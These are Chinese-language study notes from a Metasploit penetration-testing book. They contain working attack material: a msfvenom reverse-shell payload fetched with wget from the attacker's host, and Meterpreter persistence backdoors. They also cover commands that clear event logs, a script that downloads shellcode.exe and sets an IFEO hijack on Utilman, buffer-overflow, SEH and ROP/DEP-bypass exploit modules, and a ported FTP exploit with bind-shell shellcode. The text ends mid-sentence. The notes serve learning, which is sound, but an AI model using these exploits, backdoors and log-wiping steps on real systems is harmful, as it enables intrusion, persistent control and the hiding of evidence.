本想简单记录一点的,一不小心就记录多了。

一边看书过程中,一边 google 明确名词并扩展知识面。

本文主要就是记录如何使用渗透工具Metasploit对目标进行漏洞扫描,渗透,注入攻击载荷并做后渗透破坏工作。

嗯,本书我给打7分吧。有不少干货,但系统性上还缺了些,不足以成为神书。

相关网址汇总

CVE数据库

Exploit-DB

SCADA系统漏洞

VOIP的渗透测试资料站

Faraday的一些Demo

MONA插件

手机安装Kali nethunter和Metasploit

Arduino基本设置说明

SET教程

RUBY正则表达式

Cortana语言说明

Metasploit优势

开源,可便利的对大量网络进行批量测试,可便利的更换攻击载荷。

渗透主要流程

  1. 前期交互阶段

书面明确需求费用,许可范围。时间许可,是否允许社工,DDOS,破坏性的渗透方式,这些比较敏感。

这个阶段,可以使用社工方式从用户处获取更多的附属信息,包括

  • 开发运维人员工作时所使用的技术
  • 服务器平台和操作系统的详细信息
  • 隐藏的登录IP地址或管理区域地址
  • 系统的配置和操作系统的详细信息
  • WEB服务器的后台技术
  1. 信息收集阶段(占时50%)

这个阶段,我们需要研究网络配置并从目标网络获取更多信息,包括

  • 目标网络技术细节,运行的服务版本等

这里依然可以用社工从最终用户,管理员,网络工程师处获取。也可以通过漏洞扫描工具(如Nessus, OpenVAS, GFI局域网卫士等)去获取。

也可以使用例如Google hacking搜索方式去了解对方。(例如 site: intitle: inurl: filetype: “ + - 等高级搜索)

通过现场信息采集,设备信息检查,丢弃废物收集等以获得对方隐私。

去踩点了解对方安全机制,包括端口扫描,防火墙检查,网络流量过滤防护措施收集等。

  1. 威胁建模阶段

经过漏洞扫描收集,我们可能得到目标机的一些漏洞列表。

从中选择出合适的针对目标的威胁选项,作用,并对其进行分类,并确定最佳的攻击方式。

  1. 漏洞分析阶段

从服务器配置,系统漏洞,到应用程序漏洞,到数据库服务。不停的测试,验证和研究。

  1. 渗透攻击阶段

真正的攻击阶段,通过漏洞获得控制权限。

  1. 后渗透攻击阶段

一般做渗透成功之后的事,例如提权,上传下载文件,跳板攻击,维护身份,掩盖入侵痕迹等。

  1. 报告阶段

记录手段思路流程,提出改进建议和修复方案。

术语

渗透模块:Exploit(EXP) 指一段代码。运行该代码可以利用目标漏洞进行攻击。

攻击载荷模块:Payload 也是一段代码。在对目标成功渗透后,这段程序在目标机进行运行,以得到需要的权限,通常是和建立本机和被渗透机之间的通道,或执行特殊任务。

辅助模块: Auxiliary 一些支持工具,例如扫描模块,信息采集,Fuzz测试漏洞发觉,网络协议欺骗等。

Meterpreter: 是一种使用内存技术的攻击载荷,可以注入到进程中。适用范围广,很受欢迎。

编码器模块: Encoder 用来对代码进行混淆的工具。

基本命令

root@xx:~# msfconsole 启动Metasploit(记得先设置环境变量到bin下)
root@xx:~# msfdbinit 启动Metasploit内置的PostgreSQL
msf> db_status 查看数据库状态
msf> db_connect 连接外部数据库
msf> db_disconnect 断开外部数据库
msf> db_import 从外部导入数据到本工具的数据库中
msf> db_export 将数据库的数据导出,用来生成报告或给他工具使用
msf> db_nmap 直接用nmap扫描并将结果保存在metasploit的数据库中

标准样板渗透流程

msf> db_nmap -sV 192.1.1.1   // 得到目标主机开放端口和服务
msf> services -u // 查看目标机当前服务
msf> hosts // 获取数据库中的所有主机
// 假设我们发现目标机开启了 21端口的FTP服务。其信息为  vsftpd 2.3.4
msf> search vsftpd // 查看这个版本的服务是否有什么EXP漏洞
// 假设我们发现它确实有个漏洞叫做 exploit/unix/ftp/vsftpd_234_backdoor
msf> use exploit/unix/ftp/vsftpd_234_backdoor // 使用该EXP
msf> explosit(vsftpd_234_backdoor)> info  // 查看该EXP信息
msf> explosit(vsftpd_234_backdoor)> show options // 查看该EXP的选项,发现有RHOST和RPORT两个选项参数
msf> explosit(vsftpd_234_backdoor)> set RHOST 192.1.1.1 // 设置EXP选项1
msf> explosit(vsftpd_234_backdoor)> set RPORT 21 // 设置EXP选项2
msf> explosit(vsftpd_234_backdoor)> show payloads // 查看使用本渗透模块的攻击载荷,假设得到一个有效攻击载荷叫 cmd/unix/interact
msf> explosit(vsftpd_234_backdoor)> set payload cmd/unix/interact // 设置攻击载荷
msf> explosit(vsftpd_234_backdoor)> exploit // 执行攻击

辅助库/辅助功能

// 获取指定IP的端口情况
msf> use auxiliary/scanner/portscan/tcp
msf> auxiliary(tcp)> show options
msf> auxiliary(tcp)> set RHOSTS 129.1.1.1
msf> auxiliary(tcp)> run
// 检查80端口状况
msf> use auxiliary/scanner/http/http_version
msf> auxiliary(http_version)> show options
msf> auxiliary(http_version)> set RHOSTS 129.1.1.1
msf> auxiliary(http_version)> run
// 检查指定版本模块的漏洞情况
msf> search "php 5.2.4"  // 就可以得到漏洞列表
// 然后就可以继续重复 **标准样板渗透流程** 了

Meterpreter样板渗透流程

// 以下创建一个Meterpreter攻击载荷,其中-p后面是攻击载荷,LHOST,LPORT是payload参数(本机IP和端口), -f  定义了输出文件类型。-o 表明了payload保存路径。
// msfvenom命令参数在网上建议仔细了解。
root@xx:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=129.0.0.1 LPORT=801 -f exe -o /Users/xxxx/downloads/xxoo.exe
// 然后将创建出来的payload传输到目标机器上,例如本地开启Apache
root@xx:~# service apache2 start
root@xx:~# mv xxoo.exe /var/www/html/
// 然后在刚才进入的目标机中下载该payload
root@target:~# wget http://129.0.0.1/xxoo.exe
// 下载完成后,提供一个权限
root@target:~# chmod 777 xxoo.exe
// 我们的Payload到了目标机后,需要通过渗透模块控制程序Handler进行互相通信
msf> use exploit/mutil/handler
msf exploit(handler)> show payloads // 查看这个EXP对应的payloads
msf exploit(handler)> set payload windows/meterpreter/reverse_tcp
msf exploit(handler)> set LPORT 801
msf exploit(handler)> set LHOST 129.0.0.1
msf explosit(handler)> exploit // 执行攻击
Meterpreter>  // 此时我们已经取得了目标系统的Meterpreter权限。然后自由发挥了,例如
Meterpreter> sysinfo // 查看目标机系统信息
Meterpreter> ifconfig // 查看目标机网卡信息
Meterpreter> arp // 查看目标机与哪些机器进行了连接
// 其他等等操作不说明了,最后可以用background命令将这个Meterpreter放置在后台
Meterpreter> background
// 可以用hosts查看Meterpreter
msf explosit(handler)> hosts

Meterpreter常见命令

Meterpreter> getwd // 获取工作目录
Meterpreter> upload -h // 上传文件或文件夹到目标机
Meterpreter> download // 下载文件或文件夹到本机
Meterpreter> search -h // 在目标机上搜索文件
Meterpreter> portfwd // 在部分端口仅允许内网访问时,做端口转发
Meterpreter> route // 查看路由
Meterpreter> ps // 查看进程状况
Meterpreter> migrate // 将Meterpreter会话从一个进程移植到另一个进程的内存空间,只要进程不死Meterpreter就不会断,用来保护Meterpreter的最大寿命
Meterpreter> execute // 在目标机上执行指定文件
Meterpreter> run persistence // 会在目标机上安装一个恶意的VBS脚本并自动启动,在目标机上开启永久后门,实现访问的持久化。之后执行exploit/multi/handler进行通用渗透handler,就可以进行再连接了。
Meterpreter> run event_manager -c // 清除事件管理器日志
Meterpreter> clearv // 清除目标系统的事件日志

Ruby编写自定义模块

// 常用遍历
def my_func(a)
  a.each do |i|
    print i.to_s + "\t"
  end
end
a = Array.new(5)
a = [1,2,3,4,5]
my_func(a)

// 正则表达式
[RUBY正则表达式](https://rubular.com/)

// Metasploit中的打印函数
print_good("111")       // [+]111 绿色,表示正常
print_status("111")     // [*]111 蓝色,表示信息
print_error("111")      // [-]111 红色,表示错误

// 通用Metasploit框架
require 'msf/core'
class Metasploit5 < Msf::Auxiliary // 继承哪些模块,可继承Msf::Post等等模块
  include Msf::Axuiliary::Scanner // 包含头,可调整
  def initialize
    super('Name' => 'Module name',
      'Description' => '这是描述文字',
      'Author' => 'Name',
      'License' => MSF_LICENSE)
    register_options(
      [Opt::RPORT(21), ] // 参数,可调整
    )
  end
  def run_host(params)
    # 自己的核心逻辑
  end
end

// 编写完自己的模块rb文件后,要使用msftidy进行代码检查
root@xx:~# /usr/share/metasploit-framework/tools/dev/msftidy.rb /usr/share/metasploit-framework/myXXOOXX.rb

跳板攻击

1. 首先渗透进入A的计算机。
2. 通过A的计算机安装的Meterpreter添加一条从A访问B(限制仅允许A访问)的一个路由项。
使用 autoroute
3. 建立socks代理服务器,让所有网络流量通过Meterpreter发送到A的计算机上。
使用 auxiliary/server/socks4a
4. 根据建立的socks代理服务器重新配置本机系统的代理设置文件。
修改Proxychains.conf
5. 将浏览器的代理地址设置为socks的地址。
6. 这样就达成了所有访问,别人会认为是A发出的假象。

权限持久化

一个是使用之前的 persistence,它会在目标机上安装一个恶意的VBS脚本并自动启动,定期尝试和外界的指定IP端口进行通讯,类似反向代理。
解决方案:删除注册表中的值和上传的VBScript文件,该持久化就无效了。
特点:因为是主动向外界连接,防火墙阻挡概率低;但因为需要写入注册表并创建文件,容易被杀掉。
开启方式:Meterpreter> run persistence  // 参数较多,上网查一下
再连接方式: 使用exploit/mutil/handler这个EXP,再用windows/meterpreter/reverse_tcp这个payload,设置IP端口就可以等待连接了(一般是10s会被连接)。

一个是使用MetSVC,它会在目标机上注册一个服务,开机自动启动,这个服务器会等待连接。
特点:任何人都可以用这个后门连接访问服务器,但因为是等待连接,可能连接时被防火墙挡掉;启动服务时还需要管理员权限。
开启方式: Meterpreter> run metsvc -A    // 一般端口会是31337
移除方式: Meterpreter> run metsvc -r
再连接方式: 使用exploit/mutil/handler这个EXP,再用windows/metsvc_bind_tcp这个payload,设置IP端口就可以连接了。

利用RailGun制作Meterpreter

Meterpreter核心机理就是调用mixins类的API,通过它调用Windows动态链接库和其他一些Ruby模块。

想不编译DLL就调用windows系统DLL,就需要使用RailGun,它属于Ruby,不属于Meterpreter。

// 从Meterpreter进入Ruby命令行,需要如下命令
meterpreter> irb

// 进入irb的ruby命令行后,调用系统dll,例如下面是系统锁定
>> client.railgun.user32.LockWorkStation()

// 进行ruby编码如下,并将如下代码保存为 urlmon.rb 存放到 /scripts/meterpreter 中
if client.railgun.get_dll('urlmon') == nil
    print_status("add function")
end
client.railgun.add_dll('urlmon', 'c:\\windows\\system32\\urlmon.dll')
client.railgun.add_function('urlmon', 'URLDownloadToFileA', 'DWORD',[
    ['DWORD', 'pcaller', 'in'],
    ['PCHAR', 'szUrl', 'in'],
    ['PCHAR', 'szFileName', 'in'],
    ['DWORD', 'Reserved', 'in'],
    ['DWORD', 'lpfnCB', 'in'],
])

// 上面的代码就将一个win32系统API注册给了Meterperter使用,该方法可以进行文件下载。然后我们编写一个railgun-demo.rb脚本进行映像劫持(IFEO),期间我们使用这个API。
client.railgun.urlmon.URLDownloadToFileA(0, "http://192.0.0.1/shellcode.exe", "C:\\windows\\system32\\shellcode.exe", 0, 0)  // API调用,下载木马EXE文件到system32中
key="HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\Utilman.exe"
syskey=registry_createkey(key) // 注册表下创建一个注册表键
registry_setvaldata(key, 'debugger', 'shellcode.exe', 'REG_SZ') // 将辅助工具管理器替换为shellcode的注册表键

// 然后我们执行
meterperter> run urlmon // 执行注册API脚本
meterperter> run railgun_demo // 执行映像劫持(IFEO)
之后我们登录时,只要点【访问】按钮,就会调用我们的shellcode.exe

渗透基本概念

渗透的核心操作的是以下部分
  • EIP (Extended Instruction Pointer)指令指针寄存器
  • ESP (Extended Stack Pointer)栈指针寄存器
  • NOP (No operation)空操作指令 \x90
  • JMP (Jump)跳转指令
CPU主要组成部分
  • CU (Control Unit)控制单元。负责对指令的接受和译码工作,并将数据存储到内存中
  • EU (Execution Unit)执行单元。负责真正的执行过程
  • Register 寄存器。用来辅助系统执行的存储组件
    • EAX 32位 负责存储数据和操作数的累加器,通常函数返回值也会通过这个寄存器传输
    • EBX 32位 基地址寄存器,指向数据的指针
    • ECX 32位 用来实现循环的计数器
    • EDX 32位 用来保存I/O指针
    • ESI 32位 索引寄存器,内存运算时的数据指针
    • EDI 32位 索引寄存器,内存运算时的数据指针
    • ESP 32位 保存栈顶位置,当有元素进栈出栈时,ESP的值会更变
    • EBP 32位 栈数据指针寄存器
    • EIP 32位 指令指针寄存器,它保存了下一个指令的地址(渗透主要工作寄存器)
    • SS,DS,ES,CS,FS,GS 16位 段寄存器
Linux程序内存分布图
  【高地址】

   0xffffffff
        【内核区】
   0xc0000000
        【调用栈区】 ↓向低地址增长
   ???
        【动态链接库区】 固定大小
   ??? + sizeof(动态链接库区)
        【堆区】    ↑向高地址增长
   0x08048000 + sizeof(只读区) + sizeof(读/写区)
        【读/写区】  固定大小
   0x08048000 + sizeof(只读区)
        【只读区】   固定大小
   0x08048000
        【保留区】
   0x00000000
     
  【低地址】
函数调用栈内存分布

函数调用栈是当程序运行时,内存的一段连续区域,用来保存函数的状态信息,包括参数,局部变量等。

称之为“栈”是因为其插入顺序是,调用函数先被保存在栈内(栈底,高地址),被调用函数的状态被压入栈顶(低地址)。函数调用结束时,栈顶(低地址)的函数被弹出。

函数调用栈从高地址向低地址增长,所以栈顶(低地址)的内存地址,在压栈时变小,退栈时变大。

  【高地址】

   main函数
   被调用函数
   进一步被调用的函数
   <- 在这里插入新的被调用函数; 调用结束时,从这里弹出被调用函数
     
  【低地址】

负责函数栈内存管理的寄存器包括 ESP(Extended stack pointer), EBP(Extended base pointer), EIP(Extended instruction pointer)。

  • 其中ESP保存函数调用栈的栈顶地址(低地址),在压栈退栈时会不停变化。

  • EBP保存当前正在执行的函数的基地址(本函数的高地址),在当前函数执行过程中,不会变化,用它可以快速索引函数参数或局部变量位置。

  • EIP保存的下一条指令的地址,通过EIP,程序可以连续执行指令。(强调,EIP是汇编指令级的,不是源代码函数级别的,也不是源代码行数级的)

函数栈状态如下:


  【高地址】
  
   -- 调用者栈 形参N
   -- ...
   -- 调用者栈 形参2
   -- 调用者栈 形参1  【该值为 EBP+8】
   -- 调用者栈 返回地址【该值为 EBP+4】,也就是调用者函数执行完成后,应该去进行访问地址
   -- 当前函数栈 函数的基地址   <- 此时EBP值指向这里
   -- 当前函数栈 局部变量N
   -- ...
   -- 当前函数栈 局部变量2
   -- 当前函数栈 局部变量1
   -- 当前函数栈 其他寄存器的值
   -- 当前函数栈 形参N
   -- ...
   -- 当前函数栈 形参2
   -- 当前函数栈 形参1
   -- 当前函数栈 返回地址 <- ESP值永远指向栈顶
   
  【低地址】
  
  
  我们对其中一部分做简化
  
  ----> 栈内存从低到高 ---->
  | 局部变量 | EBP | 返回地址 | 形参 |
ASM看函数栈内存分布

例如如下代码:

;;  int sum(int a, int b) {
;;      return s;
;;  }
 
push ebp  ; 保存调用函数的基地址
mov ebp, esp ; 保存sum函数的基地址到ebp中,此时ebp为当前sum函数基地址
mov edx, DWORD PTR [ebp+0x8]  ; 读取栈中的参数 1
mov eax, DWORD PTR [ebp+0xc]  ; 读取栈中的参数 2
add eax, edx    ; 1 + 2 保存结果到eax中
pop ebp ; ebp数据出栈
ret ; 结束sum函数,回到调用处,此时eax中存储返回值

内存溢出渗透

我们进行内存溢出渗透时需要做的事情

  1. 找到用户输入的填充区,然后填充满这个缓冲区,再覆盖其后的EBP寄存器,就能达到EIP寄存器。这个填充长度称为偏移量。

  2. 重写EIP寄存器地址。通常是一个JMP ESP指令,让程序跳转到payload函数所在地址。

  3. 最后我们要审查一下填充数据中没有一些会引起异常的字符,例如”0x00”可能会导致该字符在网络传输过程中导致缓冲结束,应当去除它。

首先,我们使用pattern_create工具测试偏移量。

root@kali:/usr/share/metasploit-framework/tools/exploit# ./pattern_crearte.rb 1000 

它会生成如下字符串 “Aa0Aa1Aa2Aa3....Ab0Ab1Ab2...Ba0Ba1...”

我们将上述字符串输入到带漏洞的应用程序中,可以得到报错,其中的内存地址就是EIP的地址 0x832b2a81。

再通过pattern_offset工具可计算得到偏移量。

root@kali:/usr/share/metasploit-framework/tools/exploit# ./pattern_offset.rb 832b2a81 1000 

它会输出如下 “Exact macth at offset 387”

所以,在387个字节之后的 4个字节 内容会被复写到EIP寄存器中。

为了填充偏移量,那么就推荐使用空指令进行填充,该指令为 \x90,它不执行任何操作,仅顺序执行到下一个地址。使用其他字符填充,可能会引发不可预估的异常。

既然我们的目的是将EIP地址指向我们的Shellcode地址。那么只要

  ----> 栈内存从低到高 ---->
  | 局部变量 | EBP | 返回地址 | 形参 |
  
  改成
  
    ----> 栈内存从低到高 ---->
  | x90x90x90... | x90x90x90... | 我们Shellcode的地址 | x90x90x90.. |
  

就可以达成输入完之后,EIP就会修改为我们shellcode地址并进一步执行。

JMP ESP

但shellcode存放在哪儿呢?我们可以硬编码到一个有执行权限的地址,但这样的”硬地址”很不安全,于是我们推荐使用一种相对定位shellcode地址的方法,称之为 “JMP ESP”

它利用了一个栈顶指针ESP的特性:当函数结束,执行ret指令时,我们ESP寄存器在内存释放时,逐步指向栈顶

    ----> 栈内存从低到高 ---->
  | x90x90x90... | x90x90x90... | JMP ESP命令所在的地址 | shellcode |
        这块内存都被释放了        | <- ESP所在地

此时我们若将原本shellcode所在地址,改成程序中某处 “JMP ESP”命令所在地址的话,后果将是ESP释放这个地址,并指向后面的shellcode部分,而EIP将会去执行那处”JMP ESP”命令,导致EIP去执行ESP指向的shellcode部分。

所以步骤是:

  1. 首先查找程序中原本任何一处存在的JMP ESP命令地址
root@kali:/usr/share/metasploit-framework# msfbinscan -j esp /root/myexe.dll

得到 0x71ac73b1 push esp; ret
  1. 然后我们将 0x71ac73b1 这个地址,设置到上面的 387 字节偏移量之后(用0x90填充),然后,在这 387 + 4 字节之后加入shellcode即可。

  2. 但还有个问题,大部分情况下,“ 返回地址 | 形参 ” 中间有可能间隔一些区域。换成最后那张图,即意味着 “JMP ESP命令所在的地址 | shellcode” 之间可能存在一些区域,此时需要使用immunity调试器对ESP寄存器中内容做一些监视以确定间隔大小,再用NOP(0x90)填补。

编写Metasploite内存渗透模块

    require 'msf/core'
    class Metasploit5 < Msf::Exploit::Remote // 继承自远程渗透模块
      Rank = NormalRanking
      include Msf::Exploit::Remote::Tcp // 支持库
      def initialize(info = {})
        super(update_info(info, 
            'Name' => 'Stack based buffer overflow',
            'Description' => 'Test exp module',
            'Platform' => 'win', // 本模块可适用的平台
            'Author' => ['FK'],
            'Payload' => {
                'space' => 1000, // 攻击载荷shellcode允许的最大空间
                'BadChars' => '\x00\xff', // 可能出现的异常字符
            },
            'Targets' => [
                ['Windows XP SP2', {'Ret' => 0x71ac73b1, 'Offset' => 387}] // JMP ESP地址 和 前置偏移量
            ],
            'DisclosureDate' => 'Oct 30 2019' // 漏洞发现时间
        ))
        register_options(
            [Opt::RPORT(200)],
            self.class
        )
      end
      
      def exploit   // 该函数类似于辅助模块的默认函数run
        // 自己的逻辑代码,例如
        connect
        buf = make_nops(target['Offset'])
        buf = buf + [target['Ret']].pack('V') + make_nops(10) + payload.encoded
        sock.put(buf)
        handler
        disconnect
      end
    end

使用方式和之前一样

// 使用自己的EXP
msf> use exploit/windows/MyTestExploit
// 使用Payload
msf exploit(MyTestExploit)> set payload windows/meterpreter/bind_tcp
// 查看EXP参数
msf exploit(MyTestExploit)> show options
// 执行
msf exploit(MyTestExploit)> exploit

SEH溢出

什么是SEH

SEH就是“structured exception handler”缩写,就是当我们写代码时需要进行异常捕获处理的情况,就是try,catch语法。

如果我们复写了 catch 段代码,就可以引起异常来激活我们的shellcode执行了。

其中,SEH模块代码地址的内存布局如下

     ----> 栈内存从低到高 ---->
  | 局部变量 | EBP | 返回地址 | 形参 | 异常程序处理地址 |

而SEH模块内部的内存布局如下形成单向链表状

     ----> 栈内存从低到高 ---->
  | 下一个SEH记录地址 | 处理程序1的地址 | 下一个SEH记录地址 | 处理程序2的地址 | ...... | 下一个SEH记录地址 | 处理程序3的地址 |

任何一条SEH记录,前4字节为下一个SEH记录的地址,后4字节为处理程序(也就是catch块)的地址。

因为一个程序允许有多个异常处理程序,所以SEH块之间会形成链表状。

利用SEH
  1. 使用pattern_crearte生成4000字节的字符队列,然后将其发送到目标处。(TELNET 或 直接填写)
root@kali:/usr/share/metasploit-framework/tools/exploit# ./pattern_crearte.rb 4000 > 4000.txt
  1. 然后在immunity调试器中查看该程序栈,可以看到其SE Hanlder的地址被改写,假设改写为 345663E23, 然后我们通过pattern_offset去找精确偏移量
root@kali:/usr/share/metasploit-framework/tools# ./pattern_offset.rb 345663E23 4000

执行可得到其真实偏移量如下
[*] Exact match at offset 3511
  1. 然后我们查看SEH模块内部内存分布可知,我们执行两次POP(一次POP操作可使ESP指针+4,两次则+8),即可到达下一个SEH异常处理程序指针,然后我们将这个指针(即ESP+8)的地址替换为跳转到payload的JMP指令的地址,则可执行我们的shellcode。示例如下图:
【本图中名词请参见上面的 SEH模块内部的内存布局 这张图】

异常Catch ---调用---->  SEH的处理程序1的地址 (我们修改这个地址为执行 POP/POP/RET 的地址) ---调用---> POP/POP/RET指令(该指令两次POP,会导致ESP+8,ESP当前将指向“下一个SEH记录地址”,RET会使EIP跳转到ESP处) ---调用---> 执行“下一个SEH记录地址”(但该地址我们已经修改为shellcode地址) ---调用--->我们的shellcode
  1. 这一步我们来找程序中原本就有的 POP/POP/RET 的地址,以便之后使用。

首先我们通过一些反汇编软件,获取我们破解软件中所依赖的dll列表。然后找到没有收到safeSEH保护的dll。(可使用immunity调试器的 MONA插件

假设我们找到一个不受safeSEH保护的 aaa.dll

我们使用如下工具找到其 POP/POP/RET 指令序列

root@kali:~# msfbinscan -p /aaa.dll

得到 
0x9230bc29 pop ebp; pop ebx; ret
0x9230be8a pop edi; pop esi; ret

用其中随便一个即可。我们这里将使用0x9230bc29。

于是到这里,我们已经得到了两个核心值,一个是SEH的offset偏移量,一个 POP/POP/RET 的地址。

编写Metasploit的SEH渗透模块

    require 'msf/core'
    class Metasploit5 < Msf::Exploit::Remote
        Rank = NormalRanking
        include Msf::Exploit::Remote::Tcp
        include Msf::Exploit::Seh
        def initialize(info = {})
            super(update_info(info,
                'Name' => 'Easy File Sharing HTTP Server 7.2 SEH Overflow (HEAD)',
                'Description' => 'SEH based overflow example',
                'Platform' => 'win', // 本模块可适用的平台
                'Author' => ['FK'],
                'DefaultOptions' => { 'EXITFUNC' => 'thread', },
                'Payload' => {
                    'Space' => 400,
                    'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e\xff",
                }
                'Targets' => [
                    ['HTTP', {'Ret' => 0x9230bc29, 'Offset' => 3511}] // POP/POP/RET地址 和 SEH地址偏移
                ],
                'DisclosureDate' => 'Oct 30 2019' // 漏洞发现时间
            ))
            register_options(
            [
                Opt::RPORT(80)
            ], self.class)
        end
        
        def exploit   // 该函数类似于辅助模块的默认函数run
        // 自己的逻辑代码,例如
            connect
            buf = "HEAD "   // 生成一个恶意头
            buf << make_nops(target['Offset']) // 填充4091个NOP
            buf << generate_seh_record(target.ret) // 生成一个8字节指令,前4字节指令负责跳转到payload地址,后4个字节负责跳转到 POP/POP/RET地址
            buf << make_nops(19) // 无意义,仅防止检测
            buf << payload.encode
            buf << " HTTP/1.0\r\n\r\n"
            sock.put(buf)
            handler
            disconnect
        end
    end

补充:NASM获取操作码

上面代码中 generate_seh_record() 实际作用是填充了8字节指令,前4字节指令负责跳转到payload地址,后4个字节负责跳转到 POP/POP/RET地址。

这八个字节分别复写情况如下

     ----> 栈内存从低到高 ---->
  | 下一个SEH记录地址 | 处理程序1的地址 | 下一个SEH记录地址 | 处理程序2的地址 | ...... | 下一个SEH记录地址 | 处理程序3的地址 |
  
       ----> 栈内存从低到高 ---->
  | 前四个字节的短跳指令 | POP/POP/RET地址 | 下一个SEH记录地址 | 处理程序2的地址 | ...... | 下一个SEH记录地址 | 处理程序3的地址 |

这个短跳指令是 \xeb\x0a\x90\x90 ,后面的\x90是进行补齐的,前面的\xeb\x0a是实际的短跳,向后跳转12字节,即汇编码

jmp short 12

那么我们如何知道汇编码对应的指令操作码呢?这里推荐使用 NASM shell。例如:

root@kali:/usr/share/metasploit-framework/tools/exploit# ./nasm_shell.rb

nasm > jmp short 12
00000000 EB0A    jmp short 0xc
nasm > 

通过nasm_shell脚本,我们就可以通过命令获取汇编码对应的指令操作码了。

绕过DEP

DEP和ROP

数据执行保护(Data Execution Prevention, DEP)是一种将特定内存区域,标记为不可执行的保护机制。

该保护机制将导致我们渗透过程中无法执行shellcode。因为,即使我们修改ESP到shellcode起始地址,并修改EIP使其JMP ESP进行执行。但DEP依然会禁止内存中可写区域(我们的shellcode在这里,也就是ESP所指向位置)的数据执行。此时我们就需要ROP技术。

返回导向编程(Reture Oriented Programming, ROP)技术和之前的修改EIP跳转到ShellCode栈溢出的方法不同。它通过调用ROP指令片段(gadget),一层一层的跳转到最后的shellcode,而无需执行栈内任何代码。

这样一个一个跳转指令片段,从栈中依次执行,并返回下一个跳转到的地址,最终这个链最终跳转到代码区(不在栈区),调用了一个叫 VirtualProtect 的函数,该函数能够将指定内存区改成可执行状态,相当于破除了DEP的限制。

这就是ROP的原理。

DEP的开启可以在 【控制面板】-> 【系统】-> 【高级】 -> 【性能设置】 -> 【数据执行保护(DEP)】中开启。

查找ROP指令片段链

首先,我们可以使用 immunity调试器的 MONA插件 去找到软件所依赖的dll库。

然后使用Metasploit的工具msfrop查找指定指令片段的地址,例如:

root@kali:~# msfrop -v -s "pop ecx" msvcrt.dll

将会得到

[*] gadget with address: 0x6ffdb1d5 matched
0x6ffdb1d5: pop ecx
0x6ffdb1d6: ret

[*] gadget with address: 0x6ffdbd8f matched
0x6ffdbd8f: pop ecx
0x6ffdbd90: ret

...

如此反复,我们将得到一个ROP片段,然后将其链接起来跳转到 VirtualProtect 即可(Android则是跳转到 mprotect 函数去修改内存读写状态)

MONA构建ROP链

依然使用 immunity调试器的 MONA插件 ,用它attach到指定进程,然后执行

    !mona rop -m *.dll -cp nonull

即可在 C:\Program Files\Immunity Inc\Immunity Debugger\ 下即可生成 rop_chains.txt等文件,其中就有VirtualProtect() 函数的ROP链。

    def create_rop_chain()
        rop_gadgets = [
            0x77c1deb4, # POP EAX # RETN [msvcrt.dll]
            0x77be1120, # ptr to &VirtualProtect() [IAT msvcrt.dll]
            ...
            0xffffffff, #
            0x77c29ea4, # INC EBX # RETN 0x04 [msvcrt.dll]
            ...
            0xffffffc0, # Value to negate, will become 0x00000040
            ...
            0x90909090, # nop
            0x77d1cff4, # PUSHAD # RETN [user32.dll]
        ].flatten.pack("v*")
        
        return rop_gadgets
    end

值得注意的是,这个ROP链的地址都是绝对地址,在软件重启内存释放情况下就不再有效。我们可以通过特殊方法,寻找到软件基地址,然后通过位置偏移得到这些地址,长期使用。

上述ROP链可以手动找到并编写,麻烦,但相当可靠。

编写Metasploit的绕开DEP渗透模块

    require 'msf/core'
    class Metasploit5 < Msf::Exploit::Remote
        Rank = NormalRanking
        include Msf::Exploit::Remote::Tcp
        def initialize(info = {})
            super(update_info(info,
                'Name' => 'DEP bypass Exploit',
                'Description' => 'DEP bypass Using ROP Chains example',
                'Platform' => 'win', // 本模块可适用的平台
                'Author' => ['FK'],
                'Payload' => {
                    'Space' => 400,
                    'BadChars' => "\x00",
                }
                'Targets' => [
                    ['HTTP', { 'Offset' => 3511}] // 溢出地址偏移
                ],
                'DisclosureDate' => 'Oct 30 2019' // 漏洞发现时间
            ))
            register_options(
            [
                Opt::RPORT(80)
            ], self.class)
        end
        
        def create_rop_chain()
            rop_gadgets = [
                0x77c1deb4, # POP EAX # RETN [msvcrt.dll]
                0x77be1120, # ptr to &VirtualProtect() [IAT msvcrt.dll]
                ...
                0xffffffff, #
                0x77c29ea4, # INC EBX # RETN 0x04 [msvcrt.dll]
                ...
                0xffffffc0, # Value to negate, will become 0x00000040
                ...
                0x90909090, # nop
                0x77d1cff4, # PUSHAD # RETN [user32.dll]
            ].flatten.pack("v*")  # pack("v"), 转为小尾
            
            return rop_gadgets
        end
        
        def exploit   // 该函数类似于辅助模块的默认函数run
        // 自己的逻辑代码,例如
            connect
            rop_chain = create_rop_chain()
            junk = rand_text_alpha_upper(target['Offset'])
            buf = "TRUN ." + junk + rop_chain + make_nops(16) + payload.encoded + '\r\n'
            sock.put(buf)
            handler
            disconnect
        end
    end

将常见Exp移植到Metasploit中

网上会有各种的EXP,但其代码可能是python,perl,C等,我们可以将其移植到Metasploit中。

当目标机器只有一台的时候,这种移植并没有什么优势,但在对大规模网络进行渗透测试时,这将非常有意义。

移植一个python编写的缓冲区溢出模块EXP

源码来自 Exploit-DB 这里

    import socket as s
    from sys import argv
    
    if(len(argv) != 4):
        print "USAGE: %s host <user> <password>" % argv[0]
        exit(1)
    else:
    #store command line arguments
    script,host,fuser,fpass=argv
    #vars
    junk = '\x41' * 2012 #overwrite function (CWD) with garbage/junk chars
    espaddress = '\x59\x06\xbb\x76' # 76BB0659
    nops = '\x90' * 10
    shellcode = ( # BIND SHELL | PORT 4444
        "\x31\xc9\xdb\xcd\xbb\xb3\x93\x96\x9d\xb1\x56\xd9\x74\x24\xf4"
        "\x5a\x31\x5a\x17\x83\xea\xfc\x03\x5a\x13\x51\x66\x6a\x75\x1c"
        "......"
        "......"
        "\x7c\xf9\x46\x73\x42\x04\xc5\x76\x3a\xf3\xd5\xf2\x3f\xbf\x51"
        "\xee\x4d\xd0\x37\x10\xe2\xd1\x1d\x1a\xcd")
    sploit = junk+espaddress+nops+shellcode
    #create socket
    conn = s.socket(s.AF_INET,s.SOCK_STREAM)
    #establish connection to server
    conn.connect((host,21))
    #post ftp user
    conn.send('USER '+fuser+'\r\n')
    #wait for response
    uf = conn.recv(1024)
    #post ftp password
    conn.send('PASS '+fpass+'\r\n')
    #wait for response
    pf = conn.recv(1024)
    #send ftp command with sploit
    conn.send('CWD '+sploit+'\r\n')
    cf = conn.recv(1024)
    #close connection
    conn.close()

这个渗透模块采用匿名方式登陆到运行在21端口的 PCMAN FTP2.0, 并利用CWD命令来进行渗透。

其过程包括:

